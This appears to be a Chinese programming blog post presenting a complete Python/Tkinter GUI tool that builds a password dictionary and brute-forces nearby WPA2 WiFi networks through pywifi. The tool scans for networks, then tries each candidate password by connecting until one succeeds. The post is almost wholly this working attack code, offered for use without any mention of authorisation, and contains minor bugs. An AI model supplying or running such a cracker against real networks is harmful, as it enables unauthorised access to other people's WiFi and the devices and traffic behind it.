PythonTkinter 練習16之 自編工具 掃描 WIFI

PythonTkinter 練習16之 自編工具 掃描 WIFI

#Time: 2020/03/21
#Author: Xiaohong
#運行環境: OS: Win7 64位 專業版Pack1
#  Python: 3.7
功能: 1.先根據規則生成密碼字典   2. 掃描 WIFI信號,並用密碼字典方式暴力破解

效果如下:

源文件(使用Pywifi、comtypes 模塊)

import tkinter  as tk
import tkinter.messagebox
from tkinter import ttk
from tkinter import filedialog
import random
import os
import time
import pywifi
from pywifi import const

class Tl_wifi_scan_screen(object):
    def __init__(self):
        # self.master = tk.Toplevel(father_win)
        self.master = tk.Tk()
        self.master.title('wifi 地址掃描')

        # 創建的Toplevel對象 在最上層
        # self.master.attributes("-toolwindow", 1)
        # self.master.wm_attributes("-topmost", 1)
        self.setCenter(self.master, 620, 500)
        self.SetupUI()
        self.master.mainloop()

    def __str__(self):
        return '(WIFI:%s,%s)' % (self.wifi, self.iface.name())

    def setCenter(self,root, w, h):
        ws = root.winfo_screenwidth()
        hs = root.winfo_screenheight()
        x = int((ws / 2) - (w / 2))
        y = int((hs / 2) - (h / 2))
        root.geometry('{}x{}+{}+{}'.format(w, h, x, y))

    def SetupUI(self):
        # 存儲要破解的wifi信號
        self.get_wifi_value = tk.StringVar()
        # 存儲要破解wifi信號對應的密碼
        self.get_wifimm_value = tk.StringVar()
        self.wifi = pywifi.PyWiFi()  # 抓取網卡接口
        self.iface = self.wifi.interfaces()[0]  # 抓取第一個無線網卡
        print(self.iface.name())
        # self.iface.disconnect()  # 測試鏈接斷開所有鏈接
        # time.sleep(1)  # 休眠1秒
        # # 測試網卡是否屬於斷開狀態
        # assert self.iface.status() in \
        #        [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

        fm1=tk.LabelFrame(self.master,text='密碼文本生成',padx=5,pady=5,height=400)
        fm1.grid(row=0,column=0,padx=5,pady=5)

        tk.Label(fm1,text='密碼內容').pack(anchor='w')
        # # 設定默認值
        self.pwd_str = tk.StringVar()
        self.pwd_str.set('0,1,2,3,4,5,6,7,8,9')
        tk.Entry(fm1, textvariable=self.pwd_str, font=('Arial', 10),width=20).pack(anchor='nw')

        fm1_1 = tk.Frame(fm1, padx=1, pady=1)
        fm1_1.pack(anchor='w',fill=tk.X)
        tk.Label(fm1_1,text='密碼長度').pack(anchor='nw')
        # # 設定默認值
        self.pwd_len = tk.IntVar()
        self.pwd_len.set(8)
        tk.Entry(fm1_1, textvariable=self.pwd_len, font=('Arial', 10), width=3).place(y=1,x=54)

        f = tk.Frame(fm1)
        f.pack(anchor='nw')
        tk.Label(f, text='常用密碼(優先破譯)').pack(anchor='nw')
        s1 = tk.Scrollbar(f, orient=tk.VERTICAL)
        self.b1 = tk.Text(f, bg='green',width=20,height=16,yscrollcommand=s1.set,wrap=tk.NONE)
        s1.pack(side=tk.RIGHT,fill=tk.Y)
        s1.config(command=self.b1.yview)
        self.b1.pack(anchor='nw')

        #給text寫入初始值
        self.b1.insert(tk.INSERT,"12345678\n")
        self.b1.insert(tk.END, "123456789\n")
        self.b1.insert(tk.END, "88888888\n")
        self.b1.insert(tk.END, "1234567890\n")
        self.b1.insert(tk.END, "00000000\n")
        self.b1.insert(tk.END, "87654321\n")
        self.b1.insert(tk.END, "66668888\n")
        self.b1.insert(tk.END, "11223344\n")
        self.b1.insert(tk.END, "147258369\n")
        self.b1.insert(tk.END, "111111111\n")

        fm1_2 = tk.Frame(fm1, padx=1, pady=1)
        fm1_2.pack(anchor='w',fill=tk.X)
        tk.Label(fm1_2,text='密碼文件位置:').pack(anchor='nw')
        tk.Button(fm1_2, text='...', width=3, command=self.selectPath).place(y=1, x=74)
        # # 設定默認值
        self.pwd_file = tk.StringVar()
        self.pwd_file.set("e://wifi_pwd.txt")
        tk.Entry(fm1_2, textvariable=self.pwd_file, font=('Arial', 9), width=22).pack(anchor='nw')

        tk.Button(fm1, text='生成密碼文本',command=self.get_pwd_txt).pack(anchor='nw')

        #右半邊的界面編寫
        fm2 = tk.LabelFrame(self.master,width=200, text="配置",height=400)
        fm2.grid(column=1, row=0, padx=10, pady=10,ipadx=10)

        fm2_0 = tk.Frame(fm2,width=200, height=40)
        fm2_0.pack(anchor='nw',side='top')
        self.search = tk.Button(fm2_0, text="搜索附近WiFi", command=self.scans_wifi_list).place(y=1, x=4)
        self.pojie = tk.Button(fm2_0, text="開始破解", command=self.readPassWord).place(y=1, x=104)
        # self.pojie = tk.Button(labelframe, text="開始破解", command=self.readPassWord).grid(column=1, row=0)

        fm2_1 = tk.Frame(fm2,width=200, height=50)
        fm2_1.pack(anchor='nw',side='top')
        tk.Label(fm2_1,text='密碼文件位置:').place(y=1, x=2)
        tk.Button(fm2_1, text='...', width=3, command=self.selectPath2,height=1).place(y=1, x=84)
        # # 設定默認值
        self.wifi_pwd_file = tk.StringVar()
        self.wifi_pwd_file.set("e://wifi_pwd.txt")
        tk.Entry(fm2_1, textvariable=self.wifi_pwd_file, font=('Arial', 9), width=32).place(y=25, x=3)

        fm2_2 = tk.Frame(fm2, width=300, height=40)
        fm2_2.pack(anchor='nw',side='top')
        self.wifi_text = tk.Label(fm2_2, text="WiFi賬號:").place(x=2,y=10)
        self.wifi_input = tk.Entry(fm2_2, width=16, textvariable=self.get_wifi_value).place(x=70,y=10)
        self.wifi_mm_text = tk.Label(fm2_2, text="WiFi密碼:").place(x=170,y=10)
        self.wifi_mm_input = tk.Entry(fm2_2, width=12, textvariable=self.get_wifimm_value).place(x=230,y=10)

        self.wifi_labelframe = tk.LabelFrame(fm2,text="wifi列表")
        self.wifi_labelframe.pack(anchor='nw')

        # # 定義樹形結構與滾動條
        self.wifi_tree = ttk.Treeview(self.wifi_labelframe, show="headings", columns=("a", "b", "c", "d"))
        self.vbar = ttk.Scrollbar(self.wifi_labelframe, orient=tk.VERTICAL, command=self.wifi_tree.yview)
        self.wifi_tree.configure(yscrollcommand=self.vbar.set)

        # # 表格的寬度\對齊方式\標題
        self.wifi_tree.column("a", width=50, anchor="center")
        self.wifi_tree.column("b", width=100, anchor="center")
        self.wifi_tree.column("c", width=120, anchor="center")
        self.wifi_tree.column("d", width=80, anchor="center")

        self.wifi_tree.heading("a", text="WiFiID")
        self.wifi_tree.heading("b", text="SSID")
        self.wifi_tree.heading("c", text="BSSID")
        self.wifi_tree.heading("d", text="signal")

        self.wifi_tree.grid(row=0, column=0, sticky=tk.NSEW)
        self.wifi_tree.bind("<Double-1>", self.onDBClick)
        self.vbar.grid(row=0, column=1, sticky=tk.NS)

    #左手邊密碼文件的文件位置選擇框
    def selectPath(self):
         path_ = filedialog.askdirectory()
         file = 'wifi_pwd.txt'
         path_=os.path.join(path_,file)
         self.pwd_file.set(path_)

    # 右手邊密碼文件的文件位置選擇框
    def selectPath2(self):
        path_ = filedialog.askdirectory()
        file = 'wifi_pwd.txt'
        path_ = os.path.join(path_, file)
        self.wifi_pwd_file.set(path_)

    #生成密碼文件
    def get_pwd_txt(self):
        pwd_dict=[]  #密碼列表
        #把'常用密碼(優先破譯)'先寫入pwd_dict 密碼列表中
        comm_pwd = self.b1.get(0.0,tk.END).split('\n')
        print(comm_pwd)
        for i in comm_pwd:
            if i=='':
                pass
            else:
                pwd_dict.append(i)
        print(pwd_dict)
        #from_str中存儲 密碼  字母的內容
        from_str=[]
        pwd_str=self.pwd_str.get().split(',')
        for i in pwd_str:
            from_str.append(i)
        # 取得可以爲 密碼字母的總個數,減去1是爲了用Range
        from_str_len = len(from_str) - 1
        #密碼長度
        pwd_length = self.pwd_len.get()
        #先生成100個密碼字符,放入 密碼列表 中
        for num in range(100):
            str = ""
            for i in range(pwd_length):
                str = str + from_str[random.randrange(0, from_str_len)]
            print(str)
            if str in pwd_dict:
                pass
            else:
                pwd_dict.append(str)
        # print(pwd_dict)
        try:
            # print(self.pwd_file.get())
            fo = open(self.pwd_file.get(), "w")
        except IOError:
            print("Open File "+ self.pwd_file.get() +" Failed!!!")
        for i in pwd_dict:
            fo.write(i+'\n')
        fo.close()

    # 搜索wifi
    def scans_wifi_list(self):  # 掃描周圍wifi列表
        self.iface.disconnect()  # 測試鏈接斷開所有鏈接
        time.sleep(5)  # 休眠5秒

        # 開始掃描
        print("^_^ 開始掃描附近wifi...")
        self.iface.scan()
        time.sleep(15)
        # 在若干秒後獲取掃描結果
        scanres = self.iface.scan_results()
        # 統計附近被發現的熱點數量
        nums = len(scanres)
        print("數量: %s" % (nums))
        # 實際數據
        self.show_scans_wifi_list(scanres)
        return scanres

    # 顯示wifi列表
    def show_scans_wifi_list(self, scans_res):
        for index, wifi_info in enumerate(scans_res):
            # print("%-*s| %s | %*s |%*s\n"%(20,index,wifi_info.ssid,wifi_info.bssid,,wifi_info.signal))
            self.wifi_tree.insert("", 'end', values=(index + 1, wifi_info.ssid, wifi_info.bssid, wifi_info.signal))
            # print("| %s | %s | %s | %s \n"%(index,wifi_info.ssid,wifi_info.bssid,wifi_info.signal))

    # Treeview綁定事件
    def onDBClick(self, event):
        self.sels = event.widget.selection()
        self.get_wifi_value.set(self.wifi_tree.item(self.sels, "values")[1])

    # 讀取密碼字典,進行匹配
    def readPassWord(self):
        #密碼字典的文件
        self.getFilePath = self.wifi_pwd_file.get()
        # print("文件路徑:%s\n" %(self.getFilePath))
        self.get_wifissid = self.get_wifi_value.get()
        # print("ssid:%s\n" %(self.get_wifissid))
        self.pwdfilehander = open(self.getFilePath, "r", errors="ignore")
        while True:
            try:
                self.pwdStr = self.pwdfilehander.readline()
                if not self.pwdStr:
                    break
                self.bool1 = self.connect(self.pwdStr, self.get_wifissid)
                # print("返回值:%s\n" %(self.bool1) )
                if self.bool1:
                    # print("密碼正確:"+pwdStr
                    # res = "密碼:%s 正確 \n"%self.pwdStr;
                    self.res = "===正確===  wifi名:%s  匹配密碼:%s " % (self.get_wifissid, self.pwdStr)
                    self.get_wifimm_value.set(self.pwdStr)
                    tkinter.messagebox.showinfo('提示', '破解成功!!!')
                    print(self.res)
                    break
                else:
                    # print("密碼:"+self.pwdStr+"錯誤")
                    self.res = "---錯誤--- wifi名:%s匹配密碼:%s" % (self.get_wifissid, self.pwdStr)
                    print(self.res)
                sleep(3)
            except:
                continue

    # 對wifi和密碼進行匹配
    def connect(self, pwd_Str, wifi_ssid):
        # 創建wifi鏈接文件
        self.profile = pywifi.Profile()
        self.profile.ssid = wifi_ssid  # wifi名稱
        self.profile.auth = const.AUTH_ALG_OPEN  # 網卡的開放
        self.profile.akm.append(const.AKM_TYPE_WPA2PSK)  # wifi加密算法
        self.profile.cipher = const.CIPHER_TYPE_CCMP  # 加密單元
        self.profile.key = pwd_Str  # 密碼
        self.iface.remove_all_network_profiles()  # 刪除所有的wifi文件
        self.tmp_profile = self.iface.add_network_profile(self.profile)  # 設定新的鏈接文件
        self.iface.connect(self.tmp_profile)  # 鏈接
        time.sleep(5)
        if self.iface.status() == const.IFACE_CONNECTED:  # 判斷是否連接上
            isOK = True
        else:
            isOK = False
        self.iface.disconnect()  # 斷開
        time.sleep(1)
        # 檢查斷開狀態
        assert self.iface.status() in \
               [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
        return isOK

if __name__=='__main__':
    Tl_wifi_scan_screen()

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章